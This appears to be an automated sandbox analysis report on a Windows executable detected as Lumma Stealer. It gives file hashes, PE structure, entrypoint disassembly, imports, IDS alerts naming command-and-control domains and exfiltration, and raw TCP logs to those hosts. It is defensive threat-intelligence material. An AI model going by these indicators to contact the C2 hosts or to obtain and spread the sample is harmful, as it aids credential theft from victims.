	https://gogl.to/3HGT	Get hash	malicious	CAPTCHA Scam ClickFix, DcRat, KeyLogger, StormKitty, VenomRAT	Browse	184.28.90.27

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	yTcaknrrb8.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254 140.82.121.4 185.199.109.133
	Active_Setup.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.157.254 104.102.49.254 140.82.121.4 185.199.109.133
	Loader.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254 140.82.121.4 185.199.109.133
	Loader.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254 140.82.121.4 185.199.109.133
	PASS-1234.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254 140.82.121.4 185.199.109.133
	Loader.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254 140.82.121.4 185.199.109.133
	Launcher_x64.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254 140.82.121.4 185.199.109.133
	Solara-Roblox-Executor-v3.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254 140.82.121.4 185.199.109.133
	Delta.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254 140.82.121.4 185.199.109.133
	Active_Setup.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254 140.82.121.4 185.199.109.133

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Local\Temp\AD2QI301VGQ7BUOKWK66SF.exe

Download File

Process:	C:\Users\user\Desktop\Gz1bBIg2Tw.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	8812032
Entropy (8bit):	7.145237909053076
Encrypted:	false
SSDEEP:	98304:SIxCKqVa0fpYI5ejgE1QEa1RR3Aw5nTlmoisSH4m3NHWtwLi1T2/GF25gFBfsxEm:pxjqVa0fpY7IEazN5nMoisSH4svYF
MD5:	43142552E4812E3337226CA1664ED728
SHA1:	8C1806C454BEB91CC24FEC69CA8E26C560790D6E
SHA-256:	D08DE75B76BE3596CBCB6FA6F0C39BD41CD876D29CEC1108990856989D6ED0F9
SHA-512:	FBE6AC73A525A3EB090CAA6DBC85CFCC31F0FBEDE4F9B0A541EDFE22546EE90B67A2A8E276D1E3ABEBFF869DBFCF4EBD0C57E5CFD8E8DC4BC1812A953E59E506
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........\.i.\.i.\.i..vj.Q.i..vl...i..vm.O.i...l.z.i...m.L.i...j.N.i..vh.Y.i.\.h...i..a.].i....].i..k.].i.Rich\.i.........PE..L...f.ng.................h..........@e............@................................{u....@.................................Tk..<....0...0...................p...]...[..T...........................p[..@...............8............................text...*f.......h.................. ..`.rdata..L............l..............@..@.data.....}.......}..`..............@....fptable..... .....................@....rsrc....0...0...2.................@..@.reloc...]...p...^..................@..B........................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.12811417543979
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Gz1bBIg2Tw.exe
File size:	2'798'080 bytes
MD5:	e6ca05860eca285d9eacc82cdce02b49
SHA1:	207c9c2eeb572474908d3f1a04c5c34e5271fef1
SHA256:	6a409069707dfb37703b14740289bcecab1886f85b465b17c2f2c9a8632e3b38
SHA512:	8800997d99159f003caae29053d784c6e85c14e04ea88dbd97d0981172c50d1b4b052236c1f7c30bfa6a127e7c6f054a4e3cd0689168989f44acb896a91adf19
SSDEEP:	49152:zmbsvrFRnUQgmKkph2sKIHlAJBUKdvzh4Z/Fx30exJkdllmrjBYerWdYLYkg9aXr:absvj7gKh2sKIHlAJBNZzh43x30exJk+
TLSH:	43D5BF348112DD2EEF5F86FD096FE65E1C296570838F7CCB03AD6098CE036AD857A196
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........\.i.\.i.\.i..vj.Q.i..vl...i..vm.O.i...l.z.i...m.L.i...j.N.i..vh.Y.i.\.h...i...a.].i.....].i...k.].i.Rich\.i.........PE..L..

File Icon


Icon Hash:	b1b0b0b08888b0a2

Static PE Info

General

Entrypoint:	0x65ad40
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x676E8C54 [Fri Dec 27 11:15:32 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	4159edb38142459c0d592c68fcfb12bb

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
call 00007FE42C50DFEDh
pop ebp
ret
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push 00000000h
call dword ptr [0068C018h]
mov eax, dword ptr [ebp+08h]
push eax
call dword ptr [0068C014h]
push C0000409h
call dword ptr [0068C01Ch]
push eax
call dword ptr [0068C020h]
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
sub esp, 00000324h
push 00000017h
call dword ptr [0068C024h]
test eax, eax
je 00007FE42C50E2E9h
mov ecx, 00000002h
int 29h
mov dword ptr [0069DEA0h], eax
mov dword ptr [0069DE9Ch], ecx
mov dword ptr [0069DE98h], edx
mov dword ptr [0069DE94h], ebx
mov dword ptr [0069DE90h], esi
mov dword ptr [0069DE8Ch], edi
mov word ptr [0069DEB8h], ss
mov word ptr [0069DEACh], cs
mov word ptr [0069DE88h], ds
mov word ptr [0069DE84h], es
mov word ptr [0069DE80h], fs
mov word ptr [0069DE7Ch], gs
pushfd
pop dword ptr [0069DEB0h]
mov eax, dword ptr [ebp+00h]
mov dword ptr [0069DEA4h], eax
mov eax, dword ptr [ebp+04h]
mov dword ptr [0069DEA8h], eax
lea eax, dword ptr [ebp+08h]
mov dword ptr [0069DEB4h], eax

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x29ab5c	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2a0000	0x3861	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2a4000	0xae3c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x299b1c	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x299b70	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x28c000	0x138	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x28ae0a	0x28b000	201342f5742efb7b7c338f1ee4a36bdf	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x28c000	0xf254	0xf400	641598bb1db0ca32a934ad79fd2489fd	False	0.3241547131147541	data	4.5492331141977	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x29c000	0x2ee8	0x1e00	b8fd9b6ed888e2d3c66779a1d7b4cf62	False	0.561328125	data	6.21322223764646	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.fptable	0x29f000	0x80	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2a0000	0x3861	0x3a00	8a1ff10792d100c78ede489162cb5ec5	False	0.6490436422413793	data	5.794276710235515	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x2a4000	0xae3c	0xb000	54db20e08d01e684bf9abd9e4507eaf4	False	0.7567693536931818	data	6.823092099794679	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x2a0430	0x183e	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced			0.8991298743151789
RT_MENU	0x2a1c70	0x194	data			0.6188118811881188
RT_MENU	0x2a1e04	0x18e	data			0.6155778894472361
RT_MENU	0x2a1f94	0x110	data			0.6617647058823529
RT_MENU	0x2a20a4	0x254	data			0.5654362416107382
RT_DIALOG	0x2a22f8	0x23c	data			0.5716783216783217
RT_DIALOG	0x2a2534	0x36c	data			0.5057077625570776
RT_DIALOG	0x2a28a0	0x1c0	data			0.6116071428571429
RT_STRING	0x2a2a60	0x12c	data			0.62
RT_STRING	0x2a2b8c	0x178	data			0.6143617021276596
RT_STRING	0x2a2d04	0x19c	data			0.5946601941747572
RT_STRING	0x2a2ea0	0x178	data			0.6170212765957447
RT_STRING	0x2a3018	0xd4	data			0.6698113207547169
RT_MESSAGETABLE	0x2a30ec	0x20c	Matlab v4 mat-file (little endian) Y\001, rows 327, columns 329, imaginary			0.5629770992366412
RT_MESSAGETABLE	0x2a32f8	0x2fc	Matlab v4 mat-file (little endian) )\001, rows 280, columns 281, imaginary			0.524869109947644
RT_GROUP_ICON	0x2a35f4	0x14	data			1.05
RT_VERSION	0x2a3608	0xdc	data			0.6909090909090909
RT_MANIFEST	0x2a36e4	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL

Import

KERNEL32.dll

VirtualProtect, WriteFile, CreateFileW, DecodePointer, GetConsoleMode, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, RtlUnwind, GetLastError, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, GetProcAddress, LoadLibraryExW, EncodePointer, RaiseException, GetStdHandle, GetModuleFileNameW, ExitProcess, GetModuleHandleExW, HeapAlloc, HeapValidate, GetSystemInfo, OutputDebugStringW, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, MultiByteToWideChar, WideCharToMultiByte, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetStdHandle, GetFileType, GetStringTypeW, FlsAlloc, FlsGetValue, FlsSetValue, FlsFree, InitializeCriticalSectionEx, LCMapStringW, GetProcessHeap, HeapFree, HeapReAlloc, HeapSize, HeapQueryInformation, WriteConsoleW, SetFilePointerEx, FlushFileBuffers, GetConsoleOutputCP, CloseHandle

USER32.dll

MessageBoxA, MessageBoxW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-01T16:54:33.838626+0100	2058578	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (hummskitnj .buzz)	1	192.168.2.6	63151	1.1.1.1	53	UDP
2025-01-01T16:54:33.852246+0100	2058584	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (prisonyfork .buzz)	1	192.168.2.6	49600	1.1.1.1	53	UDP
2025-01-01T16:54:33.864192+0100	2058586	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rebuildeso .buzz)	1	192.168.2.6	63709	1.1.1.1	53	UDP
2025-01-01T16:54:33.875846+0100	2058588	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scentniej .buzz)	1	192.168.2.6	62709	1.1.1.1	53	UDP
2025-01-01T16:54:33.888336+0100	2058580	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (inherineau .buzz)	1	192.168.2.6	61208	1.1.1.1	53	UDP
2025-01-01T16:54:33.900313+0100	2058590	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (screwamusresz .buzz)	1	192.168.2.6	56868	1.1.1.1	53	UDP
2025-01-01T16:54:33.911862+0100	2058572	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (appliacnesot .buzz)	1	192.168.2.6	61221	1.1.1.1	53	UDP
2025-01-01T16:54:33.923521+0100	2058576	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cashfuzysao .buzz)	1	192.168.2.6	54694	1.1.1.1	53	UDP
2025-01-01T16:54:34.584267+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49986	104.102.49.254	443	TCP
2025-01-01T16:54:35.103570+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.6	49986	104.102.49.254	443	TCP
2025-01-01T16:54:35.713967+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49987	172.67.157.254	443	TCP
2025-01-01T16:54:36.154599+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49987	172.67.157.254	443	TCP
2025-01-01T16:54:36.154599+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49987	172.67.157.254	443	TCP
2025-01-01T16:54:36.645060+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49988	172.67.157.254	443	TCP
2025-01-01T16:54:37.107191+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49988	172.67.157.254	443	TCP
2025-01-01T16:54:37.107191+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49988	172.67.157.254	443	TCP
2025-01-01T16:54:37.834771+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49989	172.67.157.254	443	TCP
2025-01-01T16:54:43.562432+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49989	172.67.157.254	443	TCP
2025-01-01T16:54:44.667574+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49990	172.67.157.254	443	TCP
2025-01-01T16:54:45.934829+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49991	172.67.157.254	443	TCP
2025-01-01T16:54:47.878144+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49992	172.67.157.254	443	TCP
2025-01-01T16:54:49.227172+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49993	172.67.157.254	443	TCP
2025-01-01T16:54:49.231246+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.6	49993	172.67.157.254	443	TCP
2025-01-01T16:54:51.299056+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49994	172.67.157.254	443	TCP
2025-01-01T16:54:51.791536+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49994	172.67.157.254	443	TCP
2025-01-01T16:54:52.444709+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49995	140.82.121.4	443	TCP
2025-01-01T16:54:53.811463+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49997	185.199.109.133	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 1, 2025 16:54:33.950218916 CET	49986	443	192.168.2.6	104.102.49.254
Jan 1, 2025 16:54:33.950269938 CET	443	49986	104.102.49.254	192.168.2.6
Jan 1, 2025 16:54:33.950361967 CET	49986	443	192.168.2.6	104.102.49.254
Jan 1, 2025 16:54:33.953073978 CET	49986	443	192.168.2.6	104.102.49.254
Jan 1, 2025 16:54:33.953090906 CET	443	49986	104.102.49.254	192.168.2.6
Jan 1, 2025 16:54:34.584192991 CET	443	49986	104.102.49.254	192.168.2.6
Jan 1, 2025 16:54:34.584266901 CET	49986	443	192.168.2.6	104.102.49.254
Jan 1, 2025 16:54:34.586596012 CET	49986	443	192.168.2.6	104.102.49.254
Jan 1, 2025 16:54:34.586604118 CET	443	49986	104.102.49.254	192.168.2.6
Jan 1, 2025 16:54:34.586846113 CET	443	49986	104.102.49.254	192.168.2.6
Jan 1, 2025 16:54:34.636713982 CET	49986	443	192.168.2.6	104.102.49.254
Jan 1, 2025 16:54:34.637768030 CET	49986	443	192.168.2.6	104.102.49.254
Jan 1, 2025 16:54:34.683331013 CET	443	49986	104.102.49.254	192.168.2.6
Jan 1, 2025 16:54:35.103528023 CET	443	49986	104.102.49.254	192.168.2.6
Jan 1, 2025 16:54:35.103558064 CET	443	49986	104.102.49.254	192.168.2.6
Jan 1, 2025 16:54:35.103591919 CET	443	49986	104.102.49.254	192.168.2.6
Jan 1, 2025 16:54:35.103601933 CET	443	49986	104.102.49.254	192.168.2.6
Jan 1, 2025 16:54:35.103614092 CET	49986	443	192.168.2.6	104.102.49.254
Jan 1, 2025 16:54:35.103620052 CET	443	49986	104.102.49.254	192.168.2.6
Jan 1, 2025 16:54:35.103638887 CET	443	49986	104.102.49.254	192.168.2.6
Jan 1, 2025 16:54:35.103668928 CET	49986	443	192.168.2.6	104.102.49.254
Jan 1, 2025 16:54:35.103704929 CET	49986	443	192.168.2.6	104.102.49.254
Jan 1, 2025 16:54:35.196561098 CET	443	49986	104.102.49.254	192.168.2.6
Jan 1, 2025 16:54:35.196583986 CET	443	49986	104.102.49.254	192.168.2.6
Jan 1, 2025 16:54:35.196755886 CET	49986	443	192.168.2.6	104.102.49.254
Jan 1, 2025 16:54:35.196769953 CET	443	49986	104.102.49.254	192.168.2.6
Jan 1, 2025 16:54:35.196819067 CET	49986	443	192.168.2.6	104.102.49.254
Jan 1, 2025 16:54:35.201625109 CET	443	49986	104.102.49.254	192.168.2.6
Jan 1, 2025 16:54:35.201692104 CET	49986	443	192.168.2.6	104.102.49.254
Jan 1, 2025 16:54:35.201699018 CET	443	49986	104.102.49.254	192.168.2.6
Jan 1, 2025 16:54:35.201734066 CET	443	49986	104.102.49.254	192.168.2.6
Jan 1, 2025 16:54:35.201752901 CET	49986	443	192.168.2.6	104.102.49.254
Jan 1, 2025 16:54:35.201805115 CET	49986	443	192.168.2.6	104.102.49.254
Jan 1, 2025 16:54:35.202724934 CET	49986	443	192.168.2.6	104.102.49.254
Jan 1, 2025 16:54:35.202742100 CET	443	49986	104.102.49.254	192.168.2.6
Jan 1, 2025 16:54:35.244613886 CET	49987	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:35.244654894 CET	443	49987	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:35.244728088 CET	49987	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:35.245084047 CET	49987	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:35.245099068 CET	443	49987	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:35.713826895 CET	443	49987	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:35.713967085 CET	49987	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:35.716032982 CET	49987	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:35.716043949 CET	443	49987	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:35.716276884 CET	443	49987	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:35.717948914 CET	49987	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:35.717972994 CET	49987	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:35.718054056 CET	443	49987	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:36.154624939 CET	443	49987	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:36.154733896 CET	443	49987	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:36.154815912 CET	49987	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:36.155040026 CET	49987	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:36.155065060 CET	443	49987	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:36.155075073 CET	49987	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:36.155081034 CET	443	49987	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:36.185058117 CET	49988	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:36.185113907 CET	443	49988	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:36.185184956 CET	49988	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:36.185467005 CET	49988	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:36.185482025 CET	443	49988	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:36.644969940 CET	443	49988	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:36.645060062 CET	49988	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:36.646400928 CET	49988	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:36.646410942 CET	443	49988	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:36.646614075 CET	443	49988	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:36.647775888 CET	49988	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:36.647793055 CET	49988	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:36.647839069 CET	443	49988	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:37.106731892 CET	443	49988	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:37.106780052 CET	443	49988	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:37.106806040 CET	443	49988	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:37.106825113 CET	443	49988	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:37.106848955 CET	443	49988	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:37.106847048 CET	49988	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:37.106873989 CET	443	49988	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:37.106897116 CET	49988	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:37.106913090 CET	49988	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:37.106919050 CET	443	49988	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:37.107003927 CET	443	49988	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:37.107031107 CET	443	49988	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:37.107043028 CET	49988	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:37.107050896 CET	443	49988	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:37.107068062 CET	443	49988	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:37.107095003 CET	49988	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:37.107101917 CET	443	49988	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:37.107141018 CET	49988	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:37.194152117 CET	443	49988	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:37.194252014 CET	443	49988	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:37.194283962 CET	443	49988	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:37.194303036 CET	49988	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:37.194318056 CET	443	49988	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:37.194350004 CET	49988	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:37.194356918 CET	443	49988	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:37.194391966 CET	443	49988	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:37.194434881 CET	49988	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:37.194607019 CET	49988	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:37.194624901 CET	443	49988	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:37.194647074 CET	49988	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:37.194652081 CET	443	49988	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:37.357094049 CET	49989	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:37.357155085 CET	443	49989	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:37.357249975 CET	49989	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:37.357557058 CET	49989	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:37.357573986 CET	443	49989	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:37.834686041 CET	443	49989	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:37.834770918 CET	49989	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:37.838191032 CET	49989	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:37.838202953 CET	443	49989	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:37.838435888 CET	443	49989	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:37.839642048 CET	49989	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:37.839840889 CET	49989	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:37.839869976 CET	443	49989	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:43.562427044 CET	443	49989	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:43.562532902 CET	443	49989	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:43.562585115 CET	49989	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:43.562942028 CET	49989	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:43.562959909 CET	443	49989	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:44.207113981 CET	49990	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:44.207161903 CET	443	49990	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:44.207257986 CET	49990	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:44.207602978 CET	49990	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:44.207619905 CET	443	49990	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:44.667346001 CET	443	49990	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:44.667573929 CET	49990	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:44.669039011 CET	49990	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:44.669051886 CET	443	49990	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:44.669280052 CET	443	49990	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:44.670635939 CET	49990	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:44.670794010 CET	49990	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:44.670828104 CET	443	49990	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:44.670876026 CET	49990	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:44.711350918 CET	443	49990	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:45.208842039 CET	443	49990	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:45.208945990 CET	443	49990	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:45.209039927 CET	49990	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:45.209219933 CET	49990	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:45.209244013 CET	443	49990	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:45.477758884 CET	49991	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:45.477803946 CET	443	49991	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:45.477878094 CET	49991	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:45.478199959 CET	49991	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:45.478213072 CET	443	49991	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:45.934762001 CET	443	49991	172.67.157.254	192.168.2.6
Jan 1, 2025 16:54:45.934828997 CET	49991	443	192.168.2.6	172.67.157.254
Jan 1, 2025 16:54:45.936208963 CET	49991	443	192.168.2.6	172.67.157.254
